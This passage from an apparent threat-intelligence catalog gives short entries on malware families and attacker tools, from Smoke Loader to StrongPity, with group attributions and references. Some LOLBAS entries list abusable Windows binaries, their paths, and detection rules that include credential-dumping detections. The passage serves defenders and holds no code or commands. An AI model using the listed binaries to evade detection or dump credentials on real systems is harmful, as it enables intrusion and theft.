[Smoke Loader](https://app.tidalcyber.com/software/2244253f-a4ad-4ea9-a4bf-fa2f4d895853) is a malicious bot application that can be used to load other malware. [Smoke Loader](https://app.tidalcyber.com/software/2244253f-a4ad-4ea9-a4bf-fa2f4d895853) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. ^{[[Malwarebytes SmokeLoader 2016](https://app.tidalcyber.com/references/b619e338-16aa-478c-b227-b22f78d572a3)]} ^{[[Microsoft Dofoil 2018](https://app.tidalcyber.com/references/85069317-2c25-448b-9ff4-504e429dc1bf)]}

The tag is: *misp-galaxy:software="Smoke Loader"*

Snaffler

An open-source data mining tool used to search for sensitive information in file systems.^{[[Unit 42 9 15 2023](/references/5e9842ae-180f-4645-a5f5-5ddfb8b2d810)]}

The tag is: *misp-galaxy:software="Snaffler"*

SnappyTCP

[SnappyTCP](https://app.tidalcyber.com/software/84a5fd07-5fd7-569f-98bf-6fdaa58bdc99) is a web shell used by [Sea Turtle](https://app.tidalcyber.com/groups/a511f4e7-9a04-5f37-a599-0d0eee85cfec) between 2021 and 2023 against multiple victims. [SnappyTCP](https://app.tidalcyber.com/software/84a5fd07-5fd7-569f-98bf-6fdaa58bdc99) appears to be based on a public GitHub project that has since been removed from the code-sharing site. [SnappyTCP](https://app.tidalcyber.com/software/84a5fd07-5fd7-569f-98bf-6fdaa58bdc99) includes a simple reverse TCP shell for Linux and Unix environments with basic command and control capabilities.^{[[PWC Sea Turtle 2023](https://app.tidalcyber.com/references/b018a875-559a-5998-b50a-b87b19cb3807)]}

The tag is: *misp-galaxy:software="SnappyTCP"*

Snip3

[Snip3](https://app.tidalcyber.com/software/f587dc27-92be-5894-a4a8-d6c8bbcf8ede) is a

sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including [AsyncRAT](https://app.tidalcyber.com/software/d587efff-4699-51c7-a4cc-bdbd1b302ed4), [Revenge RAT](https://app.tidalcyber.com/software/f99712b4-37a2-437c-92d7-fb4f94a1f892), [Agent Tesla](https://app.tidalcyber.com/software/304650b1-a0b5-460c-9210-23a5b53815a4), and [NETWIRE]([Morphisec Snip3 May 2021(https://app.tidalcyber.com/references/abe44c50-8347-5c98-8b04-d41afbe59d4c)]</sup>^{[[Telefonica Snip3 December 2021](https://app.tidalcyber.com/references/f026dd44-1491-505b-8a8a-e4f28c6cd6a7)]}

The tag is: *misp-galaxy:software="Snip3"*

SNUGRIDE

[SNUGRIDE](https://app.tidalcyber.com/software/d6c24f7c-fe79-4094-8f3c-68c4446ae4c7) is a backdoor that has been used by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) as first stage malware. ^{[[FireEye APT10 April 2017](https://app.tidalcyber.com/references/2d494df8-83e3-45d2-b798-4c3bcf55f675)]}

The tag is: *misp-galaxy:software="SNUGRIDE"*

SocGholish

[SocGholish](https://app.tidalcyber.com/software/ab84f259-9b9a-51d8-a68a-2bcd7512d760) is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by [Mustard Tempest](https://app.tidalcyber.com/groups/0898e7cb-118e-5eeb-b856-04e56ed18182) and its access has been sold to groups including [Indrik Spider](https://app.tidalcyber.com/groups/3c7ad595-1940-40fc-b9ca-3e649c1e5d87) for downloading secondary RAT and ransomware payloads.^{[[SentinelOne SocGholish Infrastructure November 2022](https://app.tidalcyber.com/references/8a26eeb6-6f80-58f1-b773-b38835c6781d)]}^{[[SocGholish-update](https://app.tidalcyber.com/references/01d9c3ba-29e2-5090-b399-0e7adf50a6b9)]}^{[[Red Canary SocGholish March 2024](https://app.tidalcyber.com/references/70fa26e4-109c-5a48-b9fd-ac8b9acf2cf3)]}^{[[Secureworks Gold Prelude Profile](https://app.tidalcyber.com/references/b16ae37d-5244-5c1e-92a9-e494b5a9ef49)]}

The tag is: *misp-galaxy:software="SocGholish"*

Socksbot

[Socksbot](https://app.tidalcyber.com/software/c1906bb6-0b5b-4916-8b29-37f7e272f6b3) is a backdoor that abuses Socket Secure (SOCKS) proxies. ^{[[TrendMicro Patchwork Dec 2017](https://app.tidalcyber.com/references/15465b26-99e1-4956-8c81-cda3388169b8)]}

The tag is: *misp-galaxy:software="Socksbot"*

SodaMaster

[SodaMaster](https://app.tidalcyber.com/software/6ecd970c-427b-4421-a831-69f46047d22a) is a fileless malware used by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) to download and execute payloads since at least 2020.^{[[Securelist APT10 March 2021](https://app.tidalcyber.com/references/90450a1e-59c3-491f-b842-2cf81023fc9e)]}

The tag is: *misp-galaxy:software="SodaMaster"*

SoftEther VPN

SoftEther VPN is an open-source software project that, according to its GitHub page, is "cross-platform multi-protocol VPN software".^{[[GitHub SoftEtherVPN SoftEtherVPN_Stable](/references/f9d28db2-499f-407c-94d2-652b9ed5f928)]} In August 2023, Microsoft researchers reported how Flax Typhoon, a nation-state-sponsored espionage group based in China, used SoftEther VPN as a key element of its command and control infrastructure during attacks on targets in Taiwan and elsewhere.^{[[Microsoft Flax Typhoon August 24 2023](/references/ec962b72-7b7f-4f7e-b6d6-7c5380b07201)]}

The tag is: *misp-galaxy:software="SoftEther VPN"*

SoftPerfect Network Scanner

SoftPerfect Network Scanner is a tool used to perform network scans for systems management purposes.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="SoftPerfect Network Scanner"*

Solar

[Solar](https://app.tidalcyber.com/software/d168da01-86ca-5392-80fb-4488b41ea704) is a C#/.NET backdoor that was used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) during the [Outer Space](https://app.tidalcyber.com/campaigns/cc893de9-3a94-531d-b799-08c75aeab019) campaign to download, execute, and exfiltrate files.^{[[ESET OilRig Campaigns Sep 2023](https://app.tidalcyber.com/references/799db594-6a65-5b80-9d64-c530fadbd9ae)]}

The tag is: *misp-galaxy:software="Solar"*

Solar (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Solar" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

A backdoor capability associated with Iran-linked espionage group OilRig.<sup>[[ESET OilRig

September 21 2023](/references/21ee3e95-ac4b-48f7-b948-249e1884bc96)]</sup>

The tag is: *misp-galaxy:software="Solar (Deprecated)"*

SombRAT

[SombRAT](https://app.tidalcyber.com/software/0ec24158-d5d7-4d2e-b5a5-bc862328a317) is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including [FIVEHANDS](https://app.tidalcyber.com/software/84187393-2fe9-4136-8720-a6893734ee8c) ransomware.^{[[BlackBerry CostaRicto November 2020](https://app.tidalcyber.com/references/93a23447-641c-4ee2-9fbd-64b2adea8a5f)]}^{[[FireEye FiveHands April 2021](https://app.tidalcyber.com/references/832aeb46-b248-43e8-9157-a2f56bcd1806)]}^{[[CISA AR21-126A FIVEHANDS May 2021](https://app.tidalcyber.com/references/f98604dd-2881-4024-8e43-6f5f48c6c9fa)]}

The tag is: *misp-galaxy:software="SombRAT"*

SoreFang

[SoreFang](https://app.tidalcyber.com/software/3e959586-14ff-407b-a0d0-4e9580546f3f) is first stage downloader used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) for exfiltration and to load other malware.^{[[NCSC APT29 July 2020](https://app.tidalcyber.com/references/28da86a6-4ca1-4bb4-a401-d4aa469c0034)]}^{[[CISA SoreFang July 2016](https://app.tidalcyber.com/references/a87db09c-cadc-48fd-9634-8dd44bbd9009)]}

The tag is: *misp-galaxy:software="SoreFang"*

SOUNDBITE

[SOUNDBITE](https://app.tidalcyber.com/software/069538a5-3cb8-4eb4-9fbb-83867bb4d826) is a signature backdoor used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145). ^{[[FireEye APT32 May 2017](https://app.tidalcyber.com/references/b72d017b-a70f-4003-b3d9-90d79aca812d)]}

The tag is: *misp-galaxy:software="SOUNDBITE"*

SPACESHIP

[SPACESHIP](https://app.tidalcyber.com/software/0f8d0a73-9cd3-475a-b31b-d457278c921a) is malware developed by [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) that allows propagation and exfiltration of data over removable devices. [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) may use this capability to exfiltrate data across air-gaps. ^{[[FireEye APT30](https://app.tidalcyber.com/references/c48d2084-61cf-4e86-8072-01e5d2de8416)]}

The tag is: *misp-galaxy:software="SPACESHIP"*

Spark

[Spark](https://app.tidalcyber.com/software/93f8c180-6794-4e9c-b716-6b31f42eb72d) is a Windows backdoor and has been in use since as early as 2017.^{[[Unit42 Molerat Mar 2020](https://app.tidalcyber.com/references/328f1c87-c9dc-42d8-bb33-a17ad4d7f57e)]}

The tag is: *misp-galaxy:software="Spark"*

SparkGateway

SparkGateway is a legitimate component of the Ivanti Connect Secure appliance that enables remote access protocols over a browser, such as RDP or SSH. The functionality of SparkGateway can be extended through plugins.^{[[Mandiant Cutting Edge Part 3 February 2024](/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="SparkGateway"*

SparrowDoor

SparrowDoor is a backdoor malware developed and used by the FamousSparrow (AKA GhostEmperor and Salt Typhoon) China-linked cyberespionage group.^{[[ESET FamousSparrow September 23 2021](/references/f91d6d8e-22a4-4851-9444-7a066e6b7aa5)]}

The tag is: *misp-galaxy:software="SparrowDoor"*

SpeakUp

[SpeakUp](https://app.tidalcyber.com/software/b9b67878-4eb1-4a0b-9b36-a798881ed566) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. ^{[[CheckPoint SpeakUp Feb 2019](https://app.tidalcyber.com/references/8f0d6a8d-6bd4-4df5-aa28-70e1ec4b0b12)]}

The tag is: *misp-galaxy:software="SpeakUp"*

Spearal

Spearal is a .NET-based backdoor malware linked to the OilRig Iranian espionage group, which uses DNS tunneling for command and control communication.^{[[Check Point Research September 11 2024](/references/53320d81-4060-4414-b5b8-21d09362bc44)]}

The tag is: *misp-galaxy:software="Spearal"*

SpectralBlur

SpectralBlur is a malware targeting macOS systems that has backdoor functionality. Researchers have linked the malware to "TA444/Bluenoroff" actors.^{[[Objective_See 1 4 2024](/references/c96535be-4859-4ae3-9ba0-d482f1195863)]}

The tag is: *misp-galaxy:software="SpectralBlur"*

Sphynx

Sphynx is a variant of BlackCat ransomware (AKA ALPHV or Noberus) first observed in early 2023, which features multiple defense evasion-focused enhancements over the BlackCat strain. For example, Sphynx uses a more complex set of execution parameters, its configuration details are formatted as raw structures instead of JSON, and observed samples contain large amounts of “junk” code and encrypted strings.^{[[X-Force BlackCat May 30 2023](/references/b80c1f70-9d05-4f4b-bdc2-6157c6837202)]} Sphynx also features built-in versions of other tools to support specific functions, including the open-source Impacket tool for lateral movement and Remcom, a hacking tool that facilitates remote code execution.^{[[Microsoft Threat Intelligence Tweet August 17 2023](/references/8b0ebcb5-d531-4f49-aa2d-bceb5e491b3f)]}

The tag is: *misp-galaxy:software="Sphynx"*

Spica

[Spica](https://app.tidalcyber.com/software/8a85fe96-fd08-55d1-ac4c-52d545b43bd1) is a custom backdoor written in Rust that has been used by [Star Blizzard](https://app.tidalcyber.com/groups/649642a4-0659-5e10-ae19-1282f73a1785) since at least 2023.^{[[Google TAG COLDRIVER January 2024](https://app.tidalcyber.com/references/cff26ad8-b8dc-557d-9751-530f7ebfaa02)]}

The tag is: *misp-galaxy:software="Spica"*

SpicyOmelette

[SpicyOmelette](https://app.tidalcyber.com/software/2be9e22d-0af8-46f5-b30e-b3712ccf716d) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://app.tidalcyber.com/groups/58db02e6-d908-47c2-bc82-ed58ada61331) since at least 2018.^{[[Secureworks GOLD KINGSWOOD September 2018](https://app.tidalcyber.com/references/cda529b2-e152-4ff0-a6b3-d0305b09fef9)]}

The tag is: *misp-galaxy:software="SpicyOmelette"*

Splashtop

Splashtop is a tool used to enable remote connections to network devices for support and administration.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Splashtop"*

SplitLoader

SplitLoader is an intermediate-stage malware used by the North Korean threat actor Moonstone Sleet mainly for payload execution purposes. It is also capable of performing system

reconnaissance.^{[[Microsoft Security Blog 5 28 2024](/references/faf315ed-71f7-4e29-8334-701da35a69ad)]}

The tag is: *misp-galaxy:software="SplitLoader"*

SpnDump

SpnDump is used to list service principal name identifiers, which Ghost actors use for service and hostname enumeration.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="SpnDump"*

spwebmember

[spwebmember](https://app.tidalcyber.com/software/0fdabff3-d996-493c-af67-f3ac02e4b00b) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. ^{[[NCC Group APT15 Alive and Strong](https://app.tidalcyber.com/references/02a50445-de06-40ab-9ea4-da5c37e066cd)]}

The tag is: *misp-galaxy:software="spwebmember"*

Sqldumper

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Debugging utility included with Microsoft SQL.

Author: Oddvar Moe

Paths: * C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe * C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe

Resources: * https://twitter.com/countuponsec/status/910969424215232518 * https://twitter.com/countuponsec/status/910977826853068800 * https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se

Detection: * Sigma: [proc_creation_win_lolbin_susp_sqldumper_activity.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml) * Elastic: [credential_access_lsass_memdump_file_created.toml](https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_lsass_memdump_file_created.toml) * Elastic:

[credential_access_cmdline_dump_tool.toml]([Sqldumper.exe - LOLBAS Project(/references/793d6262-37af-46e1-a6b5-a5262f4a749d)]</sup>

The tag is: *misp-galaxy:software="Sqldumper"*

sqlmap

[sqlmap](https://app.tidalcyber.com/software/96c224a6-6ca4-4ac1-9990-d863ec5a317a) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. ^{[[sqlmap Introduction](https://app.tidalcyber.com/references/ac643245-d54f-470f-a393-26875c0877c8)]}

The tag is: *misp-galaxy:software="sqlmap"*

Sqlps

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Tool included with Microsoft SQL Server that loads SQL Server cmdlets. Microsoft SQL Server\100 and 110 are Powershell v2. Microsoft SQL Server\120 and 130 are Powershell version 4. Replaced by SQLToolsPS.exe in SQL Server 2016, but will be included with installation for compatability reasons.

Author: Oddvar Moe

Paths: * C:\Program files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe * C:\Program files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe * C:\Program files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe * C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe * C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\SQLPS.exe

Resources: * https://twitter.com/ManuelBerrueta/status/1527289261350760455 * https://twitter.com/bryon_/status/975835709587075072 * https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

Detection: * Sigma: [proc_creation_win_mssql_sqlps_susp_execution.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_mssql_sqlps_susp_execution.yml) * Sigma: [image_load_dll_system_management_automation_susp_load.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_dll_system_management_automation_susp_load.yml) * Elastic: [execution_suspicious_powershell_imgload.toml](https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/execution_suspicious_powershell_imgload.toml) * Splunk: [2021-10-05-

suspicious_copy_on_system32.md]([Sqlps.exe - LOLBAS Project(/references/31cc851a-c536-4cef-9391-d3c7d3eab64f)]</sup>

The tag is: *misp-galaxy:software="Sqlps"*

SQLRat

[SQLRat](https://app.tidalcyber.com/software/612f780a-239a-4bd0-a29f-63beadf3ed22) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) has been observed using it.^{[[Flashpoint FIN 7 March 2019](https://app.tidalcyber.com/references/b09453a3-c0df-4e96-b399-e7b34e068e9d)]}

The tag is: *misp-galaxy:software="SQLRat"*

SQLToolsPS

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+.

Author: Oddvar Moe

Paths: * C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe

Resources: * https://twitter.com/pabraeken/status/993298228840992768 * https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

Detection: * Sigma: [proc_creation_win_mssql_sqltoolsps_susp_execution.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml) * Splunk: [2021-10-05-suspicious_copy_on_system32.md]([SQLToolsPS.exe - LOLBAS Project(/references/612c9569-80af-48d2-a853-0f6e3f55aa50)]</sup>

The tag is: *misp-galaxy:software="SQLToolsPS"*

Squirrel

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Author: Reegun J (OCBC Bank) - @reegun21

Paths: * %localappdata%\Microsoft\Teams\current\Squirrel.exe

Resources: * https://www.youtube.com/watch?v=rOP3hnkj7ls * https://twitter.com/reegun21/status/1144182772623269889 * http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/ * https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12 * https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

Detection: * Sigma: [proc_creation_win_lolbin_squirrel.yml]([Squirrel.exe - LOLBAS Project(/references/952b5ca5-1251-4e27-bd30-5d55d7d2da5e)]</sup>

The tag is: *misp-galaxy:software="Squirrel"*

Squirrelwaffle

[Squirrelwaffle](https://app.tidalcyber.com/software/46943a69-0b19-4d3a-b2a3-1302e85239a3) is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6) and the [QakBot](https://app.tidalcyber.com/software/9050b418-5ffd-481a-a30d-f9059b0871ea) banking trojan.^{[[ZScaler Squirrelwaffle Sep 2021](https://app.tidalcyber.com/references/624a62db-f00f-45f9-89f6-2c3505b4979f)]}^{[[Netskope Squirrelwaffle Oct 2021](https://app.tidalcyber.com/references/5559895a-4647-438f-b3d5-6d6aa323a6f9)]}

The tag is: *misp-galaxy:software="Squirrelwaffle"*

SRWare Iron Browser

The SRWare Iron browser is based on the Chromium-source and offers the same features as Chrome - but without the critical points that the privacy concern.^{[[Free Trial PurpleUrchin](/references/841f397d-d103-56d7-9854-7ce43c684879)]}^{[[SRWare Iron](/references/ae30d67b-839e-48c9-ae6e-153a4b06575a)]}

The tag is: *misp-galaxy:software="SRWare Iron Browser"*

ssh

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under

[GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices.

Author: Akshat Pradhan

Paths: * c:\windows\system32\OpenSSH\ssh.exe

Resources: * https://gtfobins.github.io/gtfobins/ssh/

Detection: * Sigma: [proc_creation_win_lolbin_ssh.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml) * IOC: Event ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe. * IOC: command line arguments specifying execution.^{[[ssh.exe - LOLBAS Project](/references/b1a9af1c-0cfc-4e8a-88ac-7d33cddc26a1)]}

The tag is: *misp-galaxy:software="ssh"*

Sshdinjector

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="Sshdinjector"*

SslMM

[SslMM](https://app.tidalcyber.com/software/3334a124-3e74-4a90-8ed1-55eea3274b19) is a full-featured backdoor used by [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) that has multiple variants. ^{[[Baumgartner Naikon 2015](https://app.tidalcyber.com/references/09302b4f-7f71-4289-92f6-076c685f0810)]}

The tag is: *misp-galaxy:software="SslMM"*

Starloader

[Starloader](https://app.tidalcyber.com/software/fc18e220-2200-4d70-a426-0700ba14c4c0) is a loader component that has been observed loading [Felismus](https://app.tidalcyber.com/software/c66ed8ab-4692-4948-820e-5ce87cc78db5) and associated tools. ^{[[Symantec Sowbug Nov 2017](https://app.tidalcyber.com/references/14f49074-fc46-45d3-bf7e-30c896c39c07)]}

The tag is: *misp-galaxy:software="Starloader"*

STARWHALE

[STARWHALE](https://app.tidalcyber.com/software/764c6121-2d15-4a10-ac53-b1c431dc8b47) is Windows Script File (WSF) backdoor that has been used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6), possibly since at least November 2021; there is also a [STARWHALE](https://app.tidalcyber.com/software/764c6121-2d15-4a10-ac53-b1c431dc8b47) variant written in Golang with similar capabilities. Security researchers have also noted the use of [STARWHALE](https://app.tidalcyber.com/software/764c6121-2d15-4a10-ac53-b1c431dc8b47) by UNC3313, which may be associated with [MuddyWater]([Mandiant UNC3313 Feb 2022(https://app.tidalcyber.com/references/ac1a1262-1254-4ab2-a940-2d08b6558e9e)]</sup>^{[[DHS CISA AA22-055A MuddyWater February 2022](https://app.tidalcyber.com/references/e76570e1-43ab-4819-80bc-895ede67a205)]}

The tag is: *misp-galaxy:software="STARWHALE"*

STEADYPULSE

[STEADYPULSE](https://app.tidalcyber.com/software/ea561f0b-b891-5735-aa99-97cc8818fbef) is a web shell that infects targeted Pulse Secure VPN servers through modification of a legitimate Perl script that was used as early as 2020 including in activity against US Defense Industrial Base (DIB) entities.^{[[Mandiant Pulse Secure Zero-Day April 2021](https://app.tidalcyber.com/references/0760480c-97be-5fc9-a6aa-f1df91a314a3)]}

The tag is: *misp-galaxy:software="STEADYPULSE"*

StealBit

[StealBit](https://app.tidalcyber.com/software/e81eb49a-1230-5fef-b55f-15046138705b) is a data exfiltration tool that is developed and maintained by the operators of the the LockBit Ransomware-as-a-Service (RaaS) and offered to affiliates to exfiltrate data from compromised systems for double extortion purposes.^{[[Cybereason StealBit Exfiltration Tool](https://app.tidalcyber.com/references/ba3b9dac-e59d-5c51-a06b-b0348fb053a7)]}^{[[FBI Lockbit 2.0 FEB 2022](https://app.tidalcyber.com/references/9fdd9ea7-57f3-5f6a-84c8-b8bce20a85bf)]}

The tag is: *misp-galaxy:software="StealBit"*

Stealc

Stealc is a credential and information stealer first discovered by researchers in January 2023. Researchers assess the malware contains code similarities to prominent stealer families including Vidar, Raccoon, Mars, and RedLine.^{[[Sekoia.io Stealc February 20 2023](/references/ca5b727d-f35b-4009-b4d4-21a69d41162d)]} Red Canary researchers indicated in July 2023 that they observed a "surge" of Stealc activity during the second half of the preceding month.^{[[Red Canary Intelligence Insights July 20 2023](/references/ad1d3f99-e5bf-41c6-871b-dd2c9d540341)]}

The tag is: *misp-galaxy:software="Stealc"*

STEALDEAL

STEALDEAL is a relatively simple information and credential stealer that is known to be downloaded by RomCom malware and used to collect and exfiltrate victim data, including locally stored web browser credentials, cookies, and history.^{[[Trend Micro Void Rabisu May 30 2023](/references/5fd628ca-f366-4f0d-b493-8be19fa4dd4e)]}

The tag is: *misp-galaxy:software="STEALDEAL"*

StoneDrill

[StoneDrill](https://app.tidalcyber.com/software/9eee52a2-5ac1-4561-826c-23ec7fbc7876) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33]([FireEye APT33 Sept 2017(https://app.tidalcyber.com/references/70610469-db0d-45ab-a790-6e56309a39ec)]</sup>^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}

The tag is: *misp-galaxy:software="StoneDrill"*

STONESTOP

STONESTOP refers to the loader capability associated with the malicious kernel driver POORTRY, which has been used by multiple ransomware groups since 2022.^{[[Sophos News August 27 2024](/references/af1dfc7b-fdc2-448f-a4bf-34f8ee7d55bc)]}

The tag is: *misp-galaxy:software="STONESTOP"*

Stordiag

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Storage diagnostic tool

Author: Eral4m

Paths: * c:\windows\system32\stordiag.exe * c:\windows\syswow64\stordiag.exe

Resources: * https://twitter.com/eral4m/status/1451112385041911809

Detection: * Sigma: [proc_creation_win_stordiag_susp_child_process.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml) * IOC: systeminfo.exe, fltmc.exe or schtasks.exe being executed outside of their normal path of c:\windows\system32\ or c:\windows\syswow64\<sup>[[Stordiag.exe - LOLBAS Project](/references/5e52a211-7ef6-42bd-93a1-

5902f5e1c2ea)]</sup>

The tag is: *misp-galaxy:software="Stordiag"*

StreamEx

[StreamEx](https://app.tidalcyber.com/software/502b490c-2067-40a4-8f73-7245d7910851) is a malware family that has been used by [Deep Panda](https://app.tidalcyber.com/groups/43f826a1-e8c8-47b8-9b00-38e1b3e4293b) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. ^{[[Cylance Shell Crew Feb 2017](https://app.tidalcyber.com/references/c0fe5d29-838b-4e91-bd33-59ab3dbcfbc3)]}

The tag is: *misp-galaxy:software="StreamEx"*

StrelaStealer

[StrelaStealer](https://app.tidalcyber.com/software/65db3cca-2bc8-5e18-bca4-af230a0b220a) is an information stealer malware variant first identified in November 2022 and active through late 2024. [StrelaStealer](https://app.tidalcyber.com/software/65db3cca-2bc8-5e18-bca4-af230a0b220a) focuses on the automated identification, collection, and exfiltration of email credentials from email clients such as Outlook and Thunderbird.^{[[DCSO StrelaStealer 2022](https://app.tidalcyber.com/references/4276f783-ee62-592b-8188-d7154796dd85)]}^{[[PaloAlto StrelaStealer 2024](https://app.tidalcyber.com/references/70ad987a-c49c-526e-bc0b-719cccd59cf7)]}^{[[Fortgale StrelaStealer 2023](https://app.tidalcyber.com/references/af2b24a5-e929-5654-be3d-cf49eefa0366)]}^{[[IBM StrelaStealer 2024](https://app.tidalcyber.com/references/91669435-fd83-5c21-9a64-9c7621d543f1)]}

The tag is: *misp-galaxy:software="StrelaStealer"*

StrifeWater

[StrifeWater](https://app.tidalcyber.com/software/dd8bb0a3-6cb1-412d-adeb-cbaae98462a9) is a remote-access tool that has been used by [Moses Staff](https://app.tidalcyber.com/groups/a41725c5-eb3a-4772-8d1e-17c3bbade79c) in the initial stages of their attacks since at least November 2021.^{[[Cybereason StrifeWater Feb 2022](https://app.tidalcyber.com/references/30c911b2-9a5e-4510-a78c-c65e84398c7e)]}

The tag is: *misp-galaxy:software="StrifeWater"*

StrongPity

[StrongPity](https://app.tidalcyber.com/software/ed563524-235e-4e06-8c69-3f9d8ddbfd8a) is an information stealing malware used by [PROMETHIUM]([Bitdefender StrongPity June 2020 (https://app.tidalcyber.com/references/7d2e20f2-20ba-4d51-9495-034c07be41a8)]</sup>^{[[Talos Promethium June 2020](https://app.tidalcyber.com/references/188d990e-f0be-40f2-90f3-913dfe687d27)]}

The tag is: *misp-galaxy:software="StrongPity"*

Stuxnet

